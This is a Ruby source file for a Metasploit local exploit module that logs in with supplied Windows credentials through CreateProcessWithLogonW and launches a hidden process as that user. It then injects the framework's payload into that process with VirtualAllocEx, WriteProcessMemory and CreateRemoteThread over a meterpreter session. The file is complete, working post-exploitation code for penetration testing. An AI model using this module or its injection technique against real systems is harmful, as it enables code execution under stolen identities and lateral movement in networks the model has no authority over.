## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Runas include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info(info, 'Name' => "Windows Run Command As User", 'Description' => %q{ This module will login with the specified username/password and execute the supplied command as a hidden process. Output is not returned by default. Unless targetting a local user either set the DOMAIN, or specify a UPN user format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function. A custom command line can be sent instead of uploading an executable. APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine respectively. See the MSDN documentation for how these two values interact. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499', 'Ben Campbell'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] ], 'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy )) register_options( [ OptString.new('DOMAIN', [false, 'Domain to login with' ]), OptString.new('USER', [true, 'Username to login with' ]), OptString.new('PASSWORD', [true, 'Password to login with' ]), OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]), OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]), OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ]) ], self.class) end def exploit fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter' fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system? domain = datastore['DOMAIN'] user = datastore['USER'] password = datastore['PASSWORD'] if datastore['USE_CUSTOM_COMMAND'] application_name = datastore['APPLICATION_NAME'] command_line = datastore['COMMAND_LINE'] else command_line = nil windir = get_env('windir') # Select path of executable to run depending the architecture case sysinfo['Architecture'] when /x86/i application_name = "#{windir}\\System32\\notepad.exe" when /x64/i application_name = "#{windir}\\SysWOW64\\notepad.exe" end end pi = create_process_with_logon(domain, user, password, application_name, command_line) return unless pi begin return if datastore['USE_CUSTOM_COMMAND'] vprint_status('Injecting payload into target process') raw = payload.encoded process_handle = pi[:process_handle] virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, nil, raw.length, 'MEM_COMMIT|MEM_RESERVE', 'PAGE_EXECUTE_READWRITE') address = virtual_alloc['return'] fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle, address, raw, raw.length, 4) fail_with(Exploit::Failure::Unknown, "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, nil, 0, address, nil, 0, 4) if create_remote_thread['return'] == 0 print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") else print_good("Started thread in target process") end ensure session.railgun.kernel32.CloseHandle(pi[:process_handle]) session.railgun.kernel32.CloseHandle(pi[:thread_handle]) end end end